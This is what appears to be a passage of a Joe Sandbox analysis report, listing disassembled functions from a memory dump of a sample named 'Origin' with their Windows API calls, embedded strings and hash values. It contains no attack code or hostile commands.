Instruction ID: 7053e3cf1e80dd2c9fead9a3207975ce0eeae3d7c112908894d0d60fde2b2f99
Opcode Fuzzy Hash: 9a4a2504ce10d8f613550c91552f7c33f0c56cf4bb5463a87ff6119e5f714d67
Instruction Fuzzy Hash: 86519C74204304AFDB10EF24CC9AF6E7BE1EB84311F10492AF955972E2DB70A948DB56

Function 00C490F8 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00C60980), ref: 00C491DA
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00C60980), ref: 00C4920E
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00C49388
SysFreeString.OLEAUT32(?), ref: 00C493B2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: d1c53e1fc4b5b46d988632c6e7814822bf75cfbed306073147459269c041a282
Instruction ID: 42e21623013ab3e58c1d3bc779438f53059d1eadb9d434ec8cf8106cfbd019c2
Opcode Fuzzy Hash: d1c53e1fc4b5b46d988632c6e7814822bf75cfbed306073147459269c041a282
Instruction Fuzzy Hash: EEF12C71A00119EFCF14DF94C884EAEB7B9FF89314F108598F915AB2A1DB71AE46CB50

Function 00C350E9 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C34A30: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00C339F7,?), ref: 00C34A4D

Part of subcall function 00C34A30: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00C339F7,?), ref: 00C34A66

Part of subcall function 00C34E59: GetFileAttributesW.KERNEL32(?,00C33A6B), ref: 00C34E5A

lstrcmpiW.KERNEL32(?,?), ref: 00C35168
_wcscmp.LIBCMT ref: 00C35182
MoveFileW.KERNEL32(?,?), ref: 00C3519D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: e1f4c40f96fac34b7977f275ed9e216c9f14a566c2024236fdbbe79ef1568fd6
Instruction ID: 5b664102a5dc93dd791368c12a3019a96d7f67ee1c6dd295a0f392ff23682e1e
Opcode Fuzzy Hash: e1f4c40f96fac34b7977f275ed9e216c9f14a566c2024236fdbbe79ef1568fd6
Instruction Fuzzy Hash: DC5196B24087859BC724DB90CC81ADFB3ECAF84340F10492EF699D3151EF70A28C8756

Function 00C58A32 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00C58AEC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 5ef3da30b1e56af3ea1a2922168ea6db3e7b8df32d44f2bc6afd96859d831ed0
Instruction ID: 3e769f96f6c17515ff34e2a640c3965b1f0cca6a5aa6c7df51478086502f8aa2
Opcode Fuzzy Hash: 5ef3da30b1e56af3ea1a2922168ea6db3e7b8df32d44f2bc6afd96859d831ed0
Instruction Fuzzy Hash: 1151AF78501244BFEF209B29CC89B5D7BA4AB05352F204512FE25F61E2CF71AADC9A58

Function 00BD2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00C0C568
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00C0C58A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00C0C5A2
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00C0C5C0
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00C0C5E1
DestroyIcon.USER32(00000000), ref: 00C0C5F0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00C0C60D
DestroyIcon.USER32(?), ref: 00C0C61C

Part of subcall function 00C5A89C: DeleteObject.GDI32(00000000), ref: 00C5A8D5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: ee9b7444ad6cdedd2636956078fa254ea3e87c1e6431f3e1df0b21e0a956d5ed
Instruction ID: 2593407ac490709ffb6cfdf03b91d9dc41e056c035874af6154b7c6dffec918d
Opcode Fuzzy Hash: ee9b7444ad6cdedd2636956078fa254ea3e87c1e6431f3e1df0b21e0a956d5ed
Instruction Fuzzy Hash: 51518D74600249AFDB24DF25CC85BAAB7F5EB54310F104659F912A73D0E7B0EE50EB60

Function 00C2A009 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C2B310: GetWindowThreadProcessId.USER32(?,00000000), ref: 00C2B330
Part of subcall function 00C2B310: GetCurrentThreadId.KERNEL32 ref: 00C2B337
Part of subcall function 00C2B310: AttachThreadInput.USER32(00000000,?,00C2A01E,?,00000001), ref: 00C2B33E

MapVirtualKeyW.USER32(00000025,00000000), ref: 00C2A029
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00C2A046
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00C2A049
MapVirtualKeyW.USER32(00000025,00000000), ref: 00C2A052
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00C2A070
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00C2A073
MapVirtualKeyW.USER32(00000025,00000000), ref: 00C2A07C
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00C2A093
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00C2A096

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: d811cbbe8eb6332ae9aed8ab05153f3b71f8e6ee406c9934b55010aa75c7bde3
Instruction ID: d930119eea785779d0245284303eb9c7f18b6c9038dd55e1565adf9571a27cb3
Opcode Fuzzy Hash: d811cbbe8eb6332ae9aed8ab05153f3b71f8e6ee406c9934b55010aa75c7bde3
Instruction Fuzzy Hash: 6F1104B1910618BFF6206F65DC89F6F3F2DEB4C751F200819F6447B0A0CAF25C509AA4

Function 00C292BC Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00C28F3D,00000B00,?,?), ref: 00C292C5
HeapAlloc.KERNEL32(00000000,?,00C28F3D,00000B00,?,?), ref: 00C292CC
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00C28F3D,00000B00,?,?), ref: 00C292E1
GetCurrentProcess.KERNEL32(?,00000000,?,00C28F3D,00000B00,?,?), ref: 00C292E9
DuplicateHandle.KERNEL32(00000000,?,00C28F3D,00000B00,?,?), ref: 00C292EC
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00C28F3D,00000B00,?,?), ref: 00C292FC
GetCurrentProcess.KERNEL32(00C28F3D,00000000,?,00C28F3D,00000B00,?,?), ref: 00C29304
DuplicateHandle.KERNEL32(00000000,?,00C28F3D,00000B00,?,?), ref: 00C29307
CreateThread.KERNEL32(00000000,00000000,00C2932D,00000000,00000000,00000000), ref: 00C29321

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 86e62176f470b537264e45c52e7c4d2c792c0513e04fa55286b0048aa860efb9
Instruction ID: 3fbe0edb1e400167749e792fe32f3e01896c7be6a578db61c2de60308fbb60f6
Opcode Fuzzy Hash: 86e62176f470b537264e45c52e7c4d2c792c0513e04fa55286b0048aa860efb9
Instruction Fuzzy Hash: B001BBB5640304BFE720ABA6DC4DF6F7BACEB89711F504411FA05EB1A1CAB19800CB20

Function 00C495C5 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C49619
VariantInit.OLEAUT32(?), ref: 00C496EA
VariantInit.OLEAUT32(?), ref: 00C497EB
VariantClear.OLEAUT32(?), ref: 00C497F5
VariantClear.OLEAUT32(?), ref: 00C49852

Strings

Null Object assignment in FOR..IN loop, xrefs: 00C4967A, 00C497A8, 00C49860
Incorrect Object type in FOR..IN loop, xrefs: 00C497CE

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 9f85b2bdd386f4a6a651e46299af6f2e5389d7f11a7e5c423e05ed85f33add7f
Instruction ID: 44e08bc4b30adaed0f287113fc630c4ced53eca1a0167c306541ad3bd3efe06f
Opcode Fuzzy Hash: 9f85b2bdd386f4a6a651e46299af6f2e5389d7f11a7e5c423e05ed85f33add7f
Instruction Fuzzy Hash: 33917E71A00229ABDF24CFA5C888FAFBBB8FF45714F108559F515AB291D7709A44CFA0

Function 00C49C0F Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00C27B0B: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?,?,00C27E56), ref: 00C27B28
Part of subcall function 00C27B0B: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?), ref: 00C27B43
Part of subcall function 00C27B0B: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?), ref: 00C27B51
Part of subcall function 00C27B0B: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?), ref: 00C27B61

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00C49CB8
_memset.LIBCMT ref: 00C49CC5
_memset.LIBCMT ref: 00C49E08
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00C49E34
CoTaskMemFree.OLE32(?), ref: 00C49E3F

Strings

NULL Pointer assignment, xrefs: 00C49E8D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: a36e6cc735b3402a6dd17fc93c7f39b2b9e8afbac6868c33db892728df460689
Instruction ID: 8c8b1e215bbc5b7f293e49523435ec8aaa6ca58ae5d3cf5a8435810b8278eef8
Opcode Fuzzy Hash: a36e6cc735b3402a6dd17fc93c7f39b2b9e8afbac6868c33db892728df460689
Instruction Fuzzy Hash: F5912771D00229ABDB10DFA5DC85EDEBBB9FF08310F20456AF519A7291DB719A44CFA0

Function 00C5716D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00C57211
SendMessageW.USER32(?,00001036,00000000,?), ref: 00C57225
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00C5723F
_wcscat.LIBCMT ref: 00C5729A
SendMessageW.USER32(?,00001057,00000000,?), ref: 00C572B1
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00C572DF

Strings

SysListView32, xrefs: 00C571E3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 8f48a744125ceaeb8b2f20f21b227ec2514042c3b137411b608c77ad7c98821d
Instruction ID: 0c16be28dc91e2a280b80d009588d48a71f2edd01a86fcf0ea455f26926c2c61
Opcode Fuzzy Hash: 8f48a744125ceaeb8b2f20f21b227ec2514042c3b137411b608c77ad7c98821d
Instruction Fuzzy Hash: 3341D474904308AFEB21DFA4DC89FEE77E9EF08351F10052AF998A7191D6719DC88B64

Function 00C3334A Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00C333E9

Strings

warning, xrefs: 00C333D2
blank, xrefs: 00C3336B
question, xrefs: 00C333A2
info, xrefs: 00C3338A
stop, xrefs: 00C333BA

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: eeaad861265614cb6a2609e8e105f3d1447f26d1d95f4d9c0737b2632b574dd1
Instruction ID: e556cc4e79e8f861ae67fd9a897862ff87de6ba18d1a31e545d12fb8bbc7fd3b
Opcode Fuzzy Hash: eeaad861265614cb6a2609e8e105f3d1447f26d1d95f4d9c0737b2632b574dd1
Instruction Fuzzy Hash: 2A11573234834ABAE7525B26DC82EBA77DCDF15720F20406AF600A61D2DFF99F4142A4

Function 00C34655 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00C3466F
LoadStringW.USER32(00000000), ref: 00C34676
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00C3468C
LoadStringW.USER32(00000000), ref: 00C34693
_wprintf.LIBCMT ref: 00C346B9
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00C346D7

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00C346B4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 97a148f389f282426fcd15d5a238f34194e24a4338e242b241c8777f06841931
Instruction ID: bea7e082cae488aebb90ad0c3dec3d2e08a426749671f30b16cec68b51d76148
Opcode Fuzzy Hash: 97a148f389f282426fcd15d5a238f34194e24a4338e242b241c8777f06841931
Instruction Fuzzy Hash: 9D014FF69402087FE721AB91DD89FFB776CE709300F1005A5FB46E2051EAB49E948B75

Function 00C5D861 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

GetSystemMetrics.USER32(0000000F), ref: 00C5D89F
GetSystemMetrics.USER32(0000000F), ref: 00C5D8BF
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00C5DAFA
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00C5DB18
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00C5DB39
ShowWindow.USER32(00000003,00000000), ref: 00C5DB58
InvalidateRect.USER32(?,00000000,00000001), ref: 00C5DB7D
DefDlgProcW.USER32(?,00000005,?,?), ref: 00C5DBA0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: f5d8412f77732d5c2ffe6f1cca840774a692c5e5ac80543652a63d508cc490c4
Instruction ID: 8387f5043b5d6532af8ae75572dd3398fa108278d734153a6ada110c40c438ec
Opcode Fuzzy Hash: f5d8412f77732d5c2ffe6f1cca840774a692c5e5ac80543652a63d508cc490c4
Instruction Fuzzy Hash: F6B1CC38500215EFCF24CF69C9C57AE7BB2FF04712F098069EC5A9B295D770AA94CB64

Function 00C50139 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C51242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C501D5,?,?), ref: 00C51259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C50216

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 5d312aaa1921d6603f7a04dab569c24d3e5f1142b126bd3e153f946f63879e90
Instruction ID: a727d82c6b5ad3ac1056bc5dabdaf0ccaf14ea19c1e1cec91238b7e23feb8975
Opcode Fuzzy Hash: 5d312aaa1921d6603f7a04dab569c24d3e5f1142b126bd3e153f946f63879e90
Instruction Fuzzy Hash: 6EA1BB342042019FCB10EF55C885B2EB7E5FF84314F24885DF9A69B2A2DB71ED89DB46

Function 00BD2E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00C0C438,00000004,00000000,00000000,00000000), ref: 00BD2E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00C0C438,00000004,00000000,00000000,00000000,000000FF), ref: 00BD2EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00C0C438,00000004,00000000,00000000,00000000), ref: 00C0C48B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00C0C438,00000004,00000000,00000000,00000000), ref: 00C0C4F7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 9f79af4a81ac922c045a493019f752be7a02de4e91b33b8f3e3b8d197fe05a06
Instruction ID: 1be3b5c5798761960cbf55ae10be85d08bd7dad81de1c5683ee57bf550b42b46
Opcode Fuzzy Hash: 9f79af4a81ac922c045a493019f752be7a02de4e91b33b8f3e3b8d197fe05a06
Instruction Fuzzy Hash: AC41F6346086C09BCB358B69C8D877BFBD2FBA1300F28859FE457567A1E771A981D710

Function 00C374EE Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00C37505

Part of subcall function 00BF0F16: std::exception::exception.LIBCMT ref: 00BF0F4C
Part of subcall function 00BF0F16: __CxxThrowException@8.LIBCMT ref: 00BF0F61

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00C3753C
EnterCriticalSection.KERNEL32(?), ref: 00C37558
_memmove.LIBCMT ref: 00C375A6
_memmove.LIBCMT ref: 00C375C3
LeaveCriticalSection.KERNEL32(?), ref: 00C375D2
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00C375E7
InterlockedExchange.KERNEL32(?,000001F6), ref: 00C37606

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: e371e85618321f19300d27815ba3015a053dbadf8935474e735215c2a93282c7
